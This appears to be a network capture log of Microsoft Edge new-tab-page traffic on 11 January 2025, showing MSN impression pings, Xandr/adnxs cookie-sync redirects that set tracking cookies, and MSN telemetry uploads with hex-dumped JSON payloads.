2025-01-11 06:54:36 UTC	1427	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Sat, 11 Jan 2025 06:54:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ib.adnxs.com/bounce?%2Fsetuid%3Fentity%3D483%26code%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D AN-X-Request-Uuid: 4703e0a4-3925-4d87-8f35-8be962422e05 Set-Cookie: XANDR_PANID=1LE7sQSSiFwa9i-AI4_GI-MWOhBI1K_X35QIVGl5c5oAXMfRkwtX4LXGoAcmPTcD3-NbBK1SRdo-noFxRKxiPr_tURzvSiG1RgM2jJQZrjM.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:36 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 30-Dec-2034 06:54:36 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=404687649564003660; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:36 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 675.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.11.20	57559	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:36 UTC	1023	OUT	GET /notify/served?rid=f7b66e0f99774ee4994a9572d133a3c9&r=infopane&i=3&p=edgechrntp&l=en-us&d=bing&b=Edg&a=dfa64b01-ec54-411d-97b5-76d005271c07&ii=1&c=2556969255498558843&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-infopane-3&ptid=edgechrntp-peekinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1 Host: srtb.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:37 UTC	581	IN	HTTP/1.1 204 No Content Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 1DE959D34A3D4FABB500F6A79E7AAA96 Ref B: CHI30EDGE0111 Ref C: 2025-01-11T06:54:36Z Date: Sat, 11 Jan 2025 06:54:36 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.11.20	65270	68.67.160.186	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:36 UTC	718	OUT	GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1 Host: m.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:37 UTC	1582	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Sat, 11 Jan 2025 06:54:37 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://m.adnxs.com/bounce?%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D0136911D054E6BFC0E90846C04216AB7%2526gdpr%253D0%2526gdpr_consent%253D AN-X-Request-Uuid: a4d7d641-d2f5-46e3-949e-860a11778bf7 Set-Cookie: XANDR_PANID=pczX6aoAgUnQDKubIDckU-ZbjAdvaoVsClMgIVrrar8S9-aQGGx3o-x67vcDtPjuGDQGmthz59OULAcLfb7fMvS0keuisGHvhS6uMsD7MLg.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:37 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 30-Dec-2034 06:54:37 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6844831910942572980; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:37 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 675.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.11.20	63255	68.67.160.186	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:36 UTC	678	OUT	GET /bounce?%2Fsetuid%3Fentity%3D483%26code%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:37 UTC	1183	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Sat, 11 Jan 2025 06:54:37 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: fc917fc2-100c-4bad-8782-89950e83c2fc Set-Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?hl7YT4!]tbPl1N!y*v_#NUa)ic_)mKcXt7O%Q9!(1W%V`LZ4JB[VFvM%SjN5@TMaOdjO)#m/X%W#.wL4W1Qw2+/<F+>; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:37 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 30-Dec-2034 06:54:37 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 675.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com
2025-01-11 06:54:37 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.11.20	61072	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:36 UTC	1025	OUT	GET /notify/served?rid=f7b66e0f99774ee4994a9572d133a3c9&r=infopane&i=11&p=edgechrntp&l=en-us&d=bing&b=Edg&a=1dd19eb1-735b-470f-9209-d9bb436269a4&ii=1&c=7645241228381444372&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-infopane-11&ptid=edgechrntp-peekInfopane-2&t=type.msft-content-card&dec=1-1 HTTP/1.1 Host: srtb.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:37 UTC	581	IN	HTTP/1.1 204 No Content Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: B7EEC5C3AEA14B10A3009B7E3D233B66 Ref B: CHI30EDGE0215 Ref C: 2025-01-11T06:54:37Z Date: Sat, 11 Jan 2025 06:54:36 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.11.20	64886	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:37 UTC	1015	OUT	GET /notify/served?rid=f7b66e0f99774ee4994a9572d133a3c9&r=river&i=1&p=edgechrntp&l=en-us&d=bing&b=Edg&a=13e49033-643c-448b-9c06-1bea332fabbe&ii=1&c=11891600591998607670&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-river-1&ptid=edgechrntp-peekriver-1&t=type.msft-content-card&dec=1-1 HTTP/1.1 Host: srtb.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:37 UTC	581	IN	HTTP/1.1 204 No Content Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 20D5634DBB304243A4A37B28C9D5CB05 Ref B: CHI30EDGE0408 Ref C: 2025-01-11T06:54:37Z Date: Sat, 11 Jan 2025 06:54:37 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.11.20	50028	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:37 UTC	1029	OUT	GET /notify/served?rid=f7b66e0f99774ee4994a9572d133a3c9&r=resinfopane&i=6&p=edgechrntp&l=en-us&d=bing&b=Edg&a=087acc36-08c1-4daa-8dbd-3c1c710f7f4a&ii=1&c=15351574985914386683&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-resinfopane-6&ptid=edgechrntp-resinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1 Host: srtb.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:37 UTC	581	IN	HTTP/1.1 204 No Content Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: C0610611355F4135B9F10E9D3536161B Ref B: CHI30EDGE0408 Ref C: 2025-01-11T06:54:37Z Date: Sat, 11 Jan 2025 06:54:37 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.11.20	59997	68.67.160.186	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:37 UTC	760	OUT	GET /bounce?%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D0136911D054E6BFC0E90846C04216AB7%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1 Host: m.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:37 UTC	1249	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Sat, 11 Jan 2025 06:54:37 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ib.adnxs.com/setuid?entity=483&code=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= AN-X-Request-Uuid: b77184ea-abb0-41c0-ad7f-5ce97d5dadcf Set-Cookie: anj=dTM7k!M4/8CxrEQF']wIg2E?hl7YT4!]tbP6j2F-XstGt!@Dtk$wmsg; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:37 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 30-Dec-2034 06:54:37 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 675.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.11.20	49420	68.67.160.186	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:38 UTC	652	OUT	GET /setuid?entity=483&code=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:38 UTC	1428	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Sat, 11 Jan 2025 06:54:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ib.adnxs.com/bounce?%2Fsetuid%3Fentity%3D483%26code%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D AN-X-Request-Uuid: b376b221-4d1b-40b9-912c-68d68f31b339 Set-Cookie: XANDR_PANID=AP571r7UgJcsKek5ht2MO-HnI0BoJBcRPOYye7j-SwOEmqvZsQn2D-R3D6f98erGNTfCNcEdM2IpZQUcgIVV99qfBnwp5Vnzs-gtlVtY4mo.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:38 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 30-Dec-2034 06:54:38 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=8641538635561712758; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:38 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 675.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.11.20	50559	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:38 UTC	1050	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578473713&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 16171 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:38 UTC	16171	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 34 3a 33 33 2e 37 31 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2025-01-11T06:54:33.712Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"locale"
2025-01-11 06:54:38 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a459b071be9a42e9b11452a980b7dc16&HASH=a459&LV=202501&V=4&LU=1736578478547; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:54:38 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=25594cd4bd704cebae3f167ebc6baaee; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:24:38 GMT; Path=/;Secure; SameSite=None time-delta-millis: 4834 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:54:37 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.11.20	53258	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:38 UTC	1049	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578473946&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9488 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:38 UTC	9488	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 34 3a 33 33 2e 39 34 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2025-01-11T06:54:33.945Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"locale"
